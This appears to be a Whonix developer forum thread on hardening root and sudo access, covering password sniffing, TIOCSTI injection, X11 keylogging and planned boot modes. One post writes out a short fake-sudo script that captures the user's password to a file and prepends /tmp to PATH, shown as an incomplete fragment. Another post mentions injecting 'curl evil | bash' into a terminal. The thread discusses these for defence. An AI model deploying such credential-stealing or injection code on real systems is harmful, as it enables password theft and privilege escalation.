Restrict root access

Done. See:

1 Like

Weird. Even after a reboot, ~/bin isn’t in PATH for me.

1 Like

Maybe at least one executable needs to be residing there.

1 Like

An executable is in there but it still isn’t in PATH.

1 Like

That was just an example. It still sources ~/.bashrc which could do whatever it wants. Or user might “debug” you. Or read/write /dev/tty$x. After that there is no reason to trust anything on that tty without SAK.

Yes I agree but there’s no mention of that in this thread.
The chosen method in this thread seems to be disable login as root, and force sudo instead. So now people login as user and run sudo instead of logging in as a separate user (root/admin).
It’s discussed here
as an Advanced option, and in the context of X.

X is an issue if a program not running as user can access it and sniff events. (Such a program could still try to inject “curl evil | bash” into a terminal though.)
So yes, a virtual console couldn’t hurt but it’s not a complete solution.

Edit: I just wanted to point out that the focus on X may give people the impression it’s okay to sudo from another console, which is what the non-advanced option is now. Done pointing now.

Parsing this thread can be difficult. Therefore my goal is to summarize it all on this wiki page:

Did you read https://www.whonix.org/wiki/Dev/Permissions?

Anything missing there?

Yes, and the rationale of this is explained here: https://www.whonix.org/wiki/Dev/Permissions

This is a different issue.
This forum thread “restrict root access” can be considered done. It does everything as described on page https://www.whonix.org/wiki/Dev/Permissions.

~/.bashrc and other problematic files and folders might be covered in future by something like https://www.whonix.org/wiki/Dev/VirusForget or https://github.com/tasket/Qubes-VM-hardening.

But even then, https://www.whonix.org/wiki/Root#Prevent_Malware_from_Sniffing_the_Root_Password remains valid. A user user used for the majority of daily tasks such as browsing the internet cannot be at the same time be an ideal user to run applications with root rights using sudo. That is because one user user is compromised, the sudo password can be sniffed. That is why boot modes without sudo/root access are being planned:

.bashrc can be made unwritable if you want.

What do you mean? You mean with ptrace? Whonix uses YAMA now so they have to be root use ptrace.

I don’t see how this can be an actual attack vector.

1 Like

Ok profile can be taken out.
Ok ptrace and process_vm_readv are out.

TIOCSTI is out but once “user” is logged into tty1, “user” owns it and can emulate a shell after SIGSTOPing the real one.
I think we can agree Xorg sniffing is only a symptom of not trusting your own account. That is all I mean. But yes, it’s a big one.

Edit: I see, I did find in page, not find in javascript, so it didn’t show up. Sorry.

Right, the issue is isolation of processes by the same user, and Wayland removes the X-factor. But any malware must remain sandboxed to have secure password entry. Or does Wayland have some sort of sudo built in so it doesn’t have to be run by “user”?

wayland will sort the need to login using a virtual console.

User can switch to another user account admin using wayland. Can use a graphical session and don’t need to use a different virtual console.
Hopefully. This can be researched when wayland XFCE is done.
I would hope wayland comes with a secure implementation of secure attention key, user account switching and user user not being able to sniff user admin.

1 Like

Might have broken pkexec.


A post was split to a new topic: /proc/pid/sched spy on keystrokes - proof of concept spy-gksu

Also, switching to wayland won’t solve all of our problems.

Attackers can use the TIOCSTI ioctl to inject input to other processes in the same session. linux-hardened solves this though https://github.com/anthraxx/linux-hardened/commit/70d9a407e85d6e6648e30e058561be77f19fd55d

This can’t be used for other ttys AFAIK.

1 Like

I don’t know: At least wayland doesn’t have an exclusive lock on display, keyboard etc.? By switching to to another virtual console it should be a clean virtual console, TIOCSTI ioctl should be no longer possible?


Yes, that would prevent it. Unprivileged users can only use TIOCSTI on their own console.

Root (processes with at least CAP_SYS_ADMIN) can use TIOCSTI on whatever console though.

1 Like

7 posts were split to a new topic: kernel patch CONFIG_TIOCSTI_DISABLE to further restrict root

I think we should setup https://www.whonix.org/wiki/Root#Prevent_Malware_from_Sniffing_the_Root_Password by default or go further and remove sudo entirely.

I see what “iamwho” meant now.

It is trivial to grab the password and gain full root access.

For example, the attacker can exploit the plethora of keylogging opportunities such as X’s lack of GUI isolation, the many infoleaks in /proc and so much more.

Even if we mitigate every single way to log keystrokes, the attacker can just setup their own fake sudo program:

cat <<\EOF > /tmp/sudo
if [[ "${@}" = "" ]]; then
  read -r -p "[sudo] password for user: " password
  echo "${password}" > /tmp/password
  echo "Sorry, try again."
  /usr/bin/sudo ${@}
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

Using sudo is essentially security theater.

Edit: the LD_PRELOAD method won’t work on setuid binaries like sudo.

1 Like

Actually, LD_PRELOAD would work as you can preload malicious libraries for e.g. the shell to log keystrokes. It doesn’t have to be sudo.

1 Like

That issue is described here:

If that description is insufficient (if there is something that new (reasonably technical people) readers might overlook), please edit. It’s crucial to get these things properly documented so these issues and our solutions can be understood by as many people as possible to make sure it is actually effective.

That’s the plan. That’s the idea of multiple boot modes for better security: persistent user | live user | persistent admin | persistent superadmin | persistent recovery mode. Booting in mode persistent/live user would result in user user not being a member of group sudo.

That might not be possible or take years to implement. For existing use of sudo
grep Whonix source code for sudo and lxsudo.

grep -r sudo | wc -l


Well, a lot of it are source code comments / source documentation / user documentation. Will try to narrow that down.

I guess I know what you mean but exactly such things need to be spelled out more detailed (in wiki, news posts) to generate awareness for the issue. I.e. including examples for which non-root user might be compromised and do what to compromise desktop users.

Trying to follow that line of thought more… If such infoleaks can spy on keystrokes to get access to the sudo password then that’s not only the sudo password but any keystroke. That’s not an issue for privilege escalation / exploitation but still a huge security issue as nobody wants all their typing leaked. Therefore let’s not just secure sudo but make sure that keystroke spying gets blocked.

Non-root users (let’s say user www) might find out the sudo password not be able to do anything with it due to the existing implementation.
( https://www.whonix.org/wiki/Dev/Strong_Linux_User_Account_Isolation )
These users not a member of group sudo and due to su restrictions, no login to other user accounts is possible.

That might not even be stoppable when making /tmp, /home etc. non-executable. Because this attack supposes a compromised non-user account that is a member of group sudo, i.e. in our case most likely user user. “compromised non-user account” could include, “there is already a malicious process running”. And if there is already a malicious process being executed there no stop to that by non-executable anything.

In other words, a compromised non-root user account which is member of group sudo is almost(?) equal to full root compromise. This needs to be documented somehow. No awareness -> no fix.

And most Linux desktop nowadays are single user systems. There is only 1 non-root user being used. And that non-root user can in most Linux distributions either use su to gain root or is member of group sudo by default.

Not entirely, but I see your point. sudo seems to work as expected. sudo is useful. (A script running under root sudo -u www touch /var/log/www/something while www is not a part of group sudo.

Just perhaps the developers of sudo aren’t doing the best job of explaining X exclusive lock, secure attention key unraw. I don’t think many people know that when you switch from X to a virtual console that X might still have an exclusive lock and show a malicious, fake virtual console that could spy on the password entry. But we shouldn’t blame that on the developers of sudo.

Can easily create the impression of security theater.
Quote https://www.jwz.org/xscreensaver/faq.html#root-lock

The solution to this is simple: you shouldn’t be logging in on the console as root in the first place! (What, are you crazy or something?)

Proper Unix hygiene dictates that you should log in as yourself, and su to root as necessary. People who spend their day logged in as root are just begging for disaster.

The author might understand all of these things but that text is written as if that’s common knowledge which it is not.

Let’s imagine (not going to happen, actually opposite) Whonix shipped with passwordless sudo by default because currently Linux desktop distribution use of sudo is mostly security theater and a usability degradation. I am sure, suddenly everyone would come out of the woods and complain how dangerous that is. But I also guess at the same time nobody would point out how to Prevent Malware from Sniffing the Root Password and most would still use 1 user user that is a member of group sudo for most daily tasks which then gain gives very little security. This seems ironic when knowing the background how much work/time is otherwise spent by Linux desktop distributions on user access rights related development (file permissions) and not just running everything as root.

1 Like

Excluding user/developer documentation, program output (suggestions to run commandos including sudo) we are down to just 208 uses of sudo.

grep \
--recursive \
--exclude=README.md \
--exclude=GPLv2 \
--exclude=GPLv3 \
--exclude=COPYING \
--exclude=control \
--exclude=whonix \
--exclude=ci_test \
--exclude=changelog.upstream-old1 \
--exclude=changelog.upstream \
--exclude-dir=.git \
--exclude-dir=sudoers.d \
--exclude-dir=apparmor.d \
--exclude=\*.{mediawiki,md,ronn,8,yml,examples} \
--exclude-dir=whonix-developer-meta-files \
--exclude-dir=lkrg \
--exclude-dir=gateway-shortcuts \
sudo | \
grep --invert-match '\#' | \
grep --invert-match '<blockquote>' | \
grep --invert-match '<code>' | \
grep --invert-match 'echo "' | \
grep --invert-match 'true "'

Adding another grep non-interactive (because Whonix source code uses sudo with parameter --non-interactive whenever possible for better reliability/spotting bugs easier) getting rid of sudo entirely or most uses of it might be possible.

Some examples how sudo is used:

whonix-legacy /usr/lib/whonix-legacy/fixes

sudo --non-interactive -u "$user_name" mkdir -p "/home/$user_name/.local/share/Bisq/btc_mainnet/tor" || true

root uses sudo to never create files with the wrong access rights.

anon-connection-wizard runs as user user but has to edit Tor configuration which is owned by root. Hence, uses sudo to make modifications. Also has to restart or reload Tor which also requires root, hence uses sudo.

How would we solve that? Maybe Whonix-Gateway doesn’t need a boot mode to boot into user? Perhaps Whonix-Gateway should always boot into admin mode? Because booting into user mode (no sudo possible) is mostly useful when running untrusted applications such as Tor Browser. But on Whonix-Gateway the user shouldn’t run applications much (anything?) that does not require sudo.

onioncircuits can be started from tor-control-panel. onioncircuits needs to run under user debian-tor. Therefore sudo is used to run onioncircuits nder user debian-tor.

On Whonix-Gateway it’s also allowed for user user to restart Tor / whonix-firewall without sudo password. Maybe another reason for Whonix-Gateway to not provide a limited user but only admin boot mode.

whonixcheck can be run by user user to make it as simple as possible to run the tests. whonixcheck runs under user whonixcheck for better security. whonixcheck has preconfigured sudoers.d exceptions so it can test things which require root.

Maybe “full whonixcheck” should only be possible as user admin (sudo allowed)? Some tests maybe even only possible as user superadmin? When whonixcheck is run as user user (in future no sudo possible) it would check very little?

Currently whonix repository tool GUI can be started by user user and them modifies file /etc/apt/souces.list.d/whonix.list. Therefore it is started with lxsudo (which is a GUI frontend, internally uses sudo). Requires sudo password. In future this would only be possible in admin mode. But I don’t see how to get rid of sudo entirely. Some applications are started by limited, non-root users but require root privileges to make changes.

Restarting sdwdate can be done by user user. Currently has a sudoers.d exception.

By getting rid of whonixcheck GUI output (CLI only) we would be one step closer to deprecating msgcollector (or at least msgcollector sudo wrapper / msgdispatcher). By deprecating tb-updater and replacing that with Tor Browser archive in binaries-freedom package + automated extraction on first Tor Browser start we might be able to get rid of msgcollector entirely.

Consider also reverse-depends sudo.

In conclusion, I think getting rid of user user being a member of group sudo might be very possible and worthwhile but getting rid of sudo entirely might not be possible on a desktop system unless perhaps requires functionality is ported to pkexec.

1 Like

I made some changes to the wiki: https://www.whonix.org/w/index.php?title=Dev/Strong_Linux_User_Account_Isolation&oldid=55432

Yes, we should definitely fix all known ways to monitor keystrokes. apparmor-profile-everything can do a great job at this.

We should look through the source code of public keyloggers/rootkits and see what methods they use. For example, https://github.com/naworkcaj/bdvl which works with LD_PRELOAD.

1 Like
[Imprint] [Privacy Policy] [Cookie Policy] [Terms of Use] [E-Sign Consent] [DMCA] [Investors] [Priority Support] [Professional Support]